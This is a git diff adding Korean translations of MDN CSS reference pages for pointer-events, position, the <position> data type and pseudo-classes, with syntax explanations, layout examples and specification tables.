+ <tr>
+ <td>{{SpecName('SVG2', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+ <td>{{Spec2('SVG2')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Its extension to HTML elements, though present in early drafts of CSS Basic User Interface Module Level 3, has been pushed to its <a class="external" href="http://wiki.csswg.org/spec/css4-ui#pointer-events">level 4</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.pointer-events")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>The SVG attribute {{SVGAttr("pointer-events")}}</li>
+ <li>The SVG attribute {{SVGAttr("visibility")}}</li>
+ <li><a class="external" href="http://webkit.org/specs/PointerEventsProperty.html">WebKit Specs PointerEventsProperty</a> extended for use in (X)HTML content</li>
+ <li>{{cssxref("user-select")}} - controls whether the user can select text</li>
+</ul>
diff --git a/files/ko/web/css/position/index.html b/files/ko/web/css/position/index.html
new file mode 100644
index 0000000000..ce23867543
--- /dev/null
+++ b/files/ko/web/css/position/index.html
@@ -0,0 +1,316 @@
+---
+title: position
+slug: Web/CSS/position
+tags:
+ - CSS
+ - CSS Positioninng
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/position
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>position</code></strong> 속성은 문서 상에 요소를 배치하는 방법을 지정합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}} 속성이 요소를 배치할 최종 위치를 결정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/position.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>position</code> 속성은 아래의 목록에서 하나의 키워드 값을 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>static</code></dt>
+ <dd>요소를 일반적인 문서 흐름에 따라 배치합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, {{cssxref("z-index")}} 속성이 <u>아무런</u> 영향도 주지 않습니다. 기본값입니다.</dd>
+ <dt><code>relative</code></dt>
+ <dd>요소를 일반적인 문서 흐름에 따라 배치하고, <u>자기 자신</u>을 기준으로 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다. 따라서 페이지 레이아웃에서 요소가 차지하는 공간은 <code>static</code>일 때와 같습니다.</dd>
+ <dd>{{cssxref("z-index")}}의 값이 <code>auto</code>가 아니라면 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code>, <code>table-caption</code> 요소에 적용했을 때의 작동 방식은 정의되지 않았습니다.</dd>
+ <dt><code>absolute</code></dt>
+ <dd>요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 가장 가까운 위치 지정 조상 요소에 대해 상대적으로 배치합니다. 단, 조상 중 위치 지정 요소가 없다면 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>을 기준으로 삼습니다. 최종 위치는 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> 값이 지정합니다.</dd>
+ <dd>{{cssxref("z-index")}}의 값이 <code>auto</code>가 아니라면 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 절대 위치 지정 요소의 바깥 여백은 서로 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">상쇄</a>되지 않습니다.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 {{glossary("viewport", "뷰포트")}}의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>을 기준으로 삼아 배치합니다. 단, 요소의 조상 중 하나가 <code>transform</code>, <code>perspective</code>, <code>filter</code> 속성 중 어느 하나라도 <code>none</code>이 아니라면 (<a href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms 명세</a> 참조) 뷰포트 대신 그 조상을 컨테이닝 블록으로 삼습니다. (<code>perspective</code>와 <code>filter</code>의 경우 브라우저별로 결과가 다름에 유의) 최종 위치는 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> 값이 지정합니다.</dd>
+ <dd>이 값은 항상 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 문서를 인쇄할 때는 해당 요소가 <u>모든 페이지</u>의 같은 위치에 출력됩니다.</dd>
+ <dt><code>sticky</code></dt>
+ <dd>요소를 일반적인 문서 흐름에 따라 배치하고, 테이블 관련 요소를 포함해 <u>가장 가까운, 스크롤 되는 조상</u>과, 표 관련 요소를 포함한 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>(가장 가까운 블록 레벨 조상) 을 기준으로 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다.</dd>
+ <dd>이 값은 항상 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 끈끈한 요소는 "스크롤 동작"(<code>overflow</code>가 <code>hidden</code>, <code>scroll</code>, <code>auto</code> 혹은 <code>overlay</code>)이 존재하는 가장 가까운 조상에 달라붙으며, 사실 그 조상은 스크롤 불가하며 실제로 스크롤 가능한 조상이 따로 존재할 경우 "끈끈한" 동작을 보이지 않는 점에 주의하세요. (<a href="https://github.com/w3c/csswg-drafts/issues/865">W3C CSSWG의 Github 이슈</a> 참조)</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="배치_유형">배치 유형</h3>
+
+<ul>
+ <li><strong>위치 지정 요소</strong>란 <code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>relative</code>, <code>absolute</code>, <code>fixed</code>, <code>sticky</code> 중 하나인 요소입니다. 즉, 값이 <code>static</code>이 아닌 모든 요소를 말합니다.</li>
+ <li><strong>상대 위치 지정 요소</strong>는<code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>relative</code>인 요소입니다. {{cssxref("top")}}과 {{cssxref("bottom")}}은 원래 위치에서의 세로축 거리를, {{cssxref("left")}}와 {{cssxref("right")}}은 원래 위치에서의 가로축 거리를 지정합니다.</li>
+ <li><strong>절대 위치 지정 요소</strong>는<code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>absolute</code> 또는 <code>fixed</code>인 요소입니다.{{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}는 요소의 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>(위치의 기준점이 되는 조상 요소) 모서리로부터의 거리를 지정합니다. 요소가 바깥 여백을 가진다면 거리에 더합니다. 절대 위치 지정 요소는 새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>을 생성합니다.</li>
+ <li><strong>끈끈한 위치 지정 요소</strong>는 <code>position</code>의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>sticky</code>인 요소입니다. 평소에는 상대 위치 지정 요소로 처리하지만, <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>이 자신의 플로우 루트(또는, 스크롤 컨테이너)에서 지정한 임계값({{cssxref("top")}} 등으로 지정)을 넘으면 마치 <code>fixed</code>처럼 화면에 고정합니다. 고정 상태는 컨테이닝 블록의 반대편 모서리를 만나면 해제됩니다.</li>
+</ul>
+
+<p>대부분의 경우, {{cssxref("height")}}와 {{cssxref("width")}}가 <code>auto</code>로 지정된 절대 위치 지정 요소는 자신의 콘텐츠에 맞춰 크기가 바뀝니다. 반면 <a href="/ko/docs/Web/CSS/Replaced_element">비대체</a> 절대 위치 지정 요소는 {{Cssxref("top")}}과 {{Cssxref("bottom")}}을 지정하고 {{Cssxref("height")}}는 지정하지 않으면 (즉, <code>auto</code>로 두면) 사용 가능한 수직 공간을 가득 채웁니다. 마찬가지로 {{Cssxref("left")}}와 {{Cssxref("right")}}을 지정하고, {{Cssxref("width")}}는 <code>auto</code>로 두면 사용 가능한 수평 공간을 가득 채웁니다.</p>
+
+<p>위에서 설명한 경우(공간을 꽉 채우는 경우)가 아니라면 다음 규칙을 따릅니다.</p>
+
+<ul>
+ <li><code>top</code>과 <code>bottom</code>을 지정한 경우(<code>auto</code>가 아닌 경우), <code>top</code>이 우선 적용됩니다.</li>
+ <li><code>left</code>와 <code>right</code>를 지정한 경우, {{Cssxref("direction")}}이 <code>ltr</code>(영어, 한국어 등)이면 <code>left</code>를 우선 적용하고,<font face="Open Sans, arial, sans-serif"> </font>{{Cssxref("direction")}}이 <code>rtl</code>(페르시아어, 아랍어, 히브리어 등)이면 <code>right</code>를 우선 적용합니다.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p>화면을 확대해서 텍스트가 크게 보이게 했을 때 <code>absolute</code>나 <code>fixed</code>로 배치된 요소가 내용을 가리지 않도록 주의해야 합니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Visual Presentation: Understanding SC 1.4.8 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="성능_및_접근성_문제">성능 및 접근성 문제</h3>
+
+<p><code>fixed</code>나 <code>sticky</code>를 포함하는 스크롤 요소가 성능 및 접근성 문제를 유발할 수 있습니다. 브라우저는 사용자가 스크롤을 할 때마다 끈끈하거나 고정인 요소를 새로운 위치에 페인트 해야 하는데, 표시해야 되는 내용의 양, 브라우저 및 기기의 성능에 따라 60 <abbr title="frames per second">fps</abbr>를 유지하지 못해 일부 민감한 사용자에게는 접근성 문제가, 다른 모두에게는 사용자 경험 악화가 생깁니다. 이 문제의 해결책 중 하나는 {{cssxref("will-change", "will-change: transform")}}을 추가하여 요소를 자신만의 레이어에서 렌더링 하여 페인트 속도를 향상하고, 나아가 성능과 접근성을 높일 수 있습니다.</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="상대_위치_지정">상대 위치 지정</h3>
+
+<p>상대적으로 배치된 요소는 문서 내에서 정상적인(normal) 위치에서 주어진 오프셋만큼 떨어지지만, 다른 요소에는 영향을 주지 않습니다. 아래 예제에서는 다른 요소들이 "Two"가 원래 위치에 있는 것처럼 배치되는 것을 확인할 수 있습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+ display: inline-block;
+ width: 100px;
+ height: 100px;
+ background: red;
+ color: white;
+}
+
+#two {
+ position: relative;
+ top: 20px;
+ left: 20px;
+ background: blue;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('상대_위치_지정', '600px', '200px') }}</p>
+
+<h3 id="절대_위치_지정">절대 위치 지정</h3>
+
+<p>상대적으로 배치된 요소가 일반적인 문서 흐름에 따르는 것과 달리, 절대적으로 배치된 요소는 흐름에서 제거됩니다. 따라서 다른 요소는 그 요소가 존재하지 않는 것처럼 배치됩니다. 절대적으로 배치된 요소는 <em>가장 가까운 위치 지정 조상</em>(즉, <code>static</code>이 아닌 가장 가까운 조상)을 기준으로 배치됩니다. 그런 요소가 존재하지 않는다면, 초기 컨테이닝 블록이 기준이 됩니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+ display: inline-block;
+ width: 100px;
+ height: 100px;
+ background: red;
+ color: white;
+}
+
+#two {
+ position: absolute;
+ top: 20px;
+ left: 20px;
+ background: blue;
+}</pre>
+
+<p>{{ EmbedLiveSample('절대_위치_지정', '800px', '200px') }}</p>
+
+<h3 id="고정_위치_지정">고정 위치 지정</h3>
+
+<p>고정 위치 지정은 절대 위치 지정과 비슷하지만, <code>fixed</code>는 요소의 컨테이닝 블록이 <em>뷰포트</em>의 초기 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>이라는 점에서 다릅니다(<code>transform</code>, <code>perspective</code>, <code>filter</code> 속성이 <code>none</code>이 아닌 조상이 있다면 그 조상이 컨테이닝 블록이 됩니다. <a href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a> 참조). 따라서 스크롤에 관계 없이 화면의 특정 지점에 고정되는, "떠다니는"(floating) 요소를 생성할 수 있습니다. 아래 예제에서, "One" 상자는 페이지 위에서 80픽셀, 왼쪽에서 10픽셀 떨어진 위치에 고정됩니다. 스크롤을 하더라도, 뷰포트를 기준으로 같은 위치에 고정된 채로 유지됩니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="outer"&gt;
+ &lt;p&gt;
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
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+ &lt;/p&gt;
+ &lt;p&gt;
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+ Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+ &lt;/p&gt;
+ &lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.box {
+ width: 100px;
+ height: 100px;
+ background: red;
+ color: white;
+}
+
+#one {
+ position: fixed;
+ top: 80px;
+ left: 10px;
+ background: blue;
+}
+
+.outer {
+ width: 500px;
+ height: 300px;
+ overflow: scroll;
+ padding-left: 150px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('고정_위치_지정', '800px', '300px') }}</p>
+
+<h3 id="끈끈한_위치_지정">끈끈한 위치 지정</h3>
+
+<p>끈끈한 위치 지정은 상대와 고정 위치 지정을 합친 것으로 생각할 수 있습니다. 끈끈하게 배치된 요소는 상대적으로 배치된 요소로 취급하지만, 주어진 경계선을 지나면 고정 위치를 갖게 됩니다. 예를 들어,</p>
+
+<pre class="brush: css notranslate">#one { position: sticky; top: 10px; }</pre>
+
+<p>이때 id가 one인 요소는 그 위치가 위에서 10픽셀 떨어진 위치까지는 상대적으로 배치되지만, 그 경계를 넘어가면 위에서 10픽셀 떨어진 위치에 고정됩니다.</p>
+
+<p>끈끈한 위치 지정은 흔히 사전순 리스트의 레이블에 사용할 수 있습니다. 예를 들어, "ㄴ" 레이블은 "ㄱ"으로 시작하는 목록이 화면 밖으로 나갈 때까지는 그 바로 밑에 표시되고, 그 다음에는 "ㄱ"을 따라 화면 밖으로 나가는 대신 화면 위에 고정시킬 수 있습니다. 그러다가 "ㄴ" 목록이 화면 바깥으로 나가면 그 자리에 "ㄷ" 레이블을 고정시킬 수 있습니다.</p>
+
+<p>끈끈한 위치 지정이 의도한 대로 동작하게 하려면 <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> 중 적어도 하나의 임계값을 설정해야 합니다. 임계값을 설정하지 않으면 상대 위치 지정과 다를 바가 없습니다.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+ &lt;div&gt;
+ &lt;dt&gt;A&lt;/dt&gt;
+ &lt;dd&gt;Andrew W.K.&lt;/dd&gt;
+ &lt;dd&gt;Apparat&lt;/dd&gt;
+ &lt;dd&gt;Arcade Fire&lt;/dd&gt;
+ &lt;dd&gt;At The Drive-In&lt;/dd&gt;
+ &lt;dd&gt;Aziz Ansari&lt;/dd&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;dt&gt;C&lt;/dt&gt;
+ &lt;dd&gt;Chromeo&lt;/dd&gt;
+ &lt;dd&gt;Common&lt;/dd&gt;
+ &lt;dd&gt;Converge&lt;/dd&gt;
+ &lt;dd&gt;Crystal Castles&lt;/dd&gt;
+ &lt;dd&gt;Cursive&lt;/dd&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;dt&gt;E&lt;/dt&gt;
+ &lt;dd&gt;Explosions In The Sky&lt;/dd&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;dt&gt;T&lt;/dt&gt;
+ &lt;dd&gt;Ted Leo &amp;amp; The Pharmacists&lt;/dd&gt;
+ &lt;dd&gt;T-Pain&lt;/dd&gt;
+ &lt;dd&gt;Thrice&lt;/dd&gt;
+ &lt;dd&gt;TV On The Radio&lt;/dd&gt;
+ &lt;dd&gt;Two Gallants&lt;/dd&gt;
+ &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css notranslate">* {
+ box-sizing: border-box;
+}
+
+dl &gt; div {
+ background: #FFF;
+ padding: 24px 0 0 0;
+}
+
+dt {
+ background: #B8C1C8;
+ border-bottom: 1px solid #989EA4;
+ border-top: 1px solid #717D85;
+ color: #FFF;
+ font: bold 18px/21px Helvetica, Arial, sans-serif;
+ margin: 0;
+ padding: 2px 0 0 12px;
+ position: -webkit-sticky;
+ position: sticky;
+ top: -1px;
+}
+
+dd {
+ font: bold 20px/45px Helvetica, Arial, sans-serif;
+ margin: 0;
+ padding: 0 0 0 12px;
+ white-space: nowrap;
+}
+
+dd + dd {
+ border-top: 1px solid #CCC;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('끈끈한_위치_지정', '500px', '300px') }}</p>
+
+<ul>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Positioning','#position-property','position')}}</td>
+ <td>{{Spec2('CSS3 Positioning')}}</td>
+ <td><code>sticky</code> 속성 값 추가</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.position")}}</div>
diff --git a/files/ko/web/css/position_value/index.html b/files/ko/web/css/position_value/index.html
new file mode 100644
index 0000000000..7e03f38e2f
--- /dev/null
+++ b/files/ko/web/css/position_value/index.html
@@ -0,0 +1,135 @@
+---
+title: <position>
+slug: Web/CSS/position_value
+tags:
+ - CSS
+ - CSS Data Type
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/position_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;position&gt;</code></strong> (또는 <strong><code>&lt;bg-position&gt;</code></strong>) <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 요소 박스에 대한 상대 좌표를 나타내는 2차원 좌표입니다. {{cssxref("background-position")}}, {{cssxref("offset-anchor")}} 속성에서 사용합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;position&gt;</code> 값이 설명하는 최종 위치가 요소 박스 내에 위치해야 할 필요는 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12215/position_type.png" style="float: left; height: 230px; width: 362px;"><code>&lt;position&gt;</code> 자료형은 하나 혹은 두 개의 키워드와 함께 선택적인 오프셋을 사용해 지정합니다.</p>
+
+<p>키워드에는 <code>center</code>, <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>가 있으며, 각각 요소 박스의 해당하는 방향 모서리 또는 마주보는 두 모서리의 가운데 지점을 의미합니다. 맥락에 따라, <code>center</code>는 좌우 모서리의 중간점일 수도 있고, 상하 모서리의 중간점일 수도 있습니다.</p>
+
+<p>오프셋은 상대적인 {{cssxref("&lt;percentage&gt;")}} 값 또는 절대적인 {{cssxref("&lt;length&gt;")}} 값으로 지정할 수 있습니다. 양수는 오른쪽과 아래쪽 중 적합한 방향으로 이동하며, 음수는 그 반대입니다.</p>
+
+<p>하나의 오프셋 값만 지정할 경우 x 좌표를 정의하는 것이며, 다른 축의 값은 기본값으로 <code>center</code>를 사용합니다.</p>
+
+<pre class="brush:css notranslate">/* 1-value syntax */
+<var>keyword</var> /* Either the horizontal or vertical position; the other axis defaults to center */
+<var>value</var> /* The position on the x-axis; the y-axis defaults to 50% */
+
+/* 2-value syntax */
+<var>keyword</var> <var>keyword</var> /* A keyword for each direction (the order is irrelevant) */
+<var>keyword</var> <var>value</var> /* A keyword for horizontal position, value for vertical position */
+<var>value</var> <var>keyword</var> /* A value for horizontal position, keyword for vertical position */
+<var>value</var> <var>value</var> /* A value for each direction (horizontal then vertical) */
+
+/* 4-value syntax */
+<var>keyword</var> <var>value</var> <var>keyword</var> <var>value</var> /* Each value is an offset from the keyword that preceeds it */
+</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">[
+ [ left | center | right ] || [ top | center | bottom ]
+|
+ [ left | center | right | &lt;length&gt; | &lt;percentage&gt; ]
+ [ top | center | bottom | &lt;length&gt; | &lt;percentage&gt; ]?
+|
+ [ [ left | right ] [ &lt;length&gt; | &lt;percentage&gt; ] ] &amp;&amp;
+ [ [ top | bottom ] [ &lt;length&gt; | &lt;percentage&gt; ] ]
+]
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: {{cssxref("background-position")}} 속성은 세 값 구문도 허용하나, <code>&lt;position&gt;</code>을 사용하는 다른 속성에서는 허용하지 않습니다.</p>
+</div>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 점의 가로 값과 세로 값은 각각 따로 보간됩니다. 그러나 두 좌표 모두에 대한 보간 속도는 하나의 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정하므로, 점은 직선을 따라 이동하게 됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_위치">유효한 위치</h3>
+
+<pre class="notranslate">center
+left
+center top
+
+right 8.5%
+bottom 12vmin right -6px
+
+10% 20%
+8rem 14px
+</pre>
+
+<h3 id="유효하지_않은_위치">유효하지 않은 위치</h3>
+
+<pre class="example-bad notranslate">left right
+bottom top
+10px 15px 20px 15px
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#position', '&lt;position&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Relists links to both definitions: if {{SpecName('CSS3 Backgrounds')}} is supported, its definition of <code>&lt;position&gt;</code> must also be used.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#typedef-bg-position', '&lt;bg-position&gt;')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Defines <code>&lt;position&gt;</code> explicitly and extends it to support offsets from any edge.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '&lt;position&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Allows combination of a keyword with a {{cssxref("&lt;length&gt;")}} or {{cssxref("&lt;percentage&gt;")}} value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#background-position', '&lt;position&gt;')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Defines <code>&lt;position&gt;</code> anonymously as the value of {{cssxref("background-position")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.position")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Values_and_Units">CSS 값과 단위</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS 값과 단위 소개</a></li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("radial-gradient()")}}</li>
+ <li>{{cssxref("conic-gradient()")}}</li>
+</ul>
diff --git a/files/ko/web/css/pseudo-classes/index.html b/files/ko/web/css/pseudo-classes/index.html
new file mode 100644
index 0000000000..6870bff41e
--- /dev/null
+++ b/files/ko/web/css/pseudo-classes/index.html
@@ -0,0 +1,166 @@
+---
+title: 의사 클래스
+slug: Web/CSS/Pseudo-classes
+tags:
+ - CSS
+ - Overview
+ - Pseudo-class
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Pseudo-classes
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>의사 클래스</strong>(가상 클래스)는 선택자에 추가하는 키워드로, 선택한 요소가 특별한 상태여야 만족할 수 있습니다. 예를 들어 {{cssxref(":hover")}}를 사용하면 포인터를 올렸을 때에만 글씨 색을 바꾸고 싶을 때 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">/* Any button over which the user's pointer is hovering */
+button:hover {
+ color: blue;
+}</pre>
+
+<p>의사 클래스를 사용하면 문서 트리 콘텐츠와 관련된 경우 뿐만 아니라 탐색기 히스토리({{cssxref(":visited")}} 등), 콘텐츠의 상태(특정 폼 요소에 적용한 {{cssxref(":checked")}} 등), 마우스의 위치(커서가 마우스 위인지 아닌지 알 수 있는 {{cssxref(":hover")}} 등)처럼 외부 인자와 관련된 경우에도 스타일을 적용할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>는 의사 클래스와 달리 요소의 <strong>특정 부분</strong>에 스타일을 적용할 때 사용합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">selector:pseudo-class {
+ property: value;
+}</pre>
+
+<p>일반적인 클래스와 같이 여러 개의 의사 클래스를 조합해 복잡한 선택자를 만들 수 있습니다.</p>
+
+<h2 id="표준_의사_클래스_색인">표준 의사 클래스 색인</h2>
+
+<div class="index" id="index">
+<ul>
+ <li>{{CSSxRef(":active")}}</li>
+ <li>{{CSSxRef(":any-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":blank")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":checked")}}</li>
+ <li>{{CSSxRef(":current")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":default")}}</li>
+ <li>{{CSSxRef(":defined")}}</li>
+ <li>{{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":disabled")}}</li>
+ <li>{{CSSxRef(":drop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":empty")}}</li>
+ <li>{{CSSxRef(":enabled")}}</li>
+ <li>{{CSSxRef(":first")}}</li>
+ <li>{{CSSxRef(":first-child")}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":fullscreen")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":future")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+ <li>{{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":host")}}</li>
+ <li>{{CSSxRef(":host()")}}</li>
+ <li>{{CSSxRef(":host-context()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":hover")}}</li>
+ <li>{{CSSxRef(":indeterminate")}}</li>
+ <li>{{CSSxRef(":in-range")}}</li>
+ <li>{{CSSxRef(":invalid")}}</li>
+ <li>{{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":lang", ":lang()")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":last-of-type")}}</li>
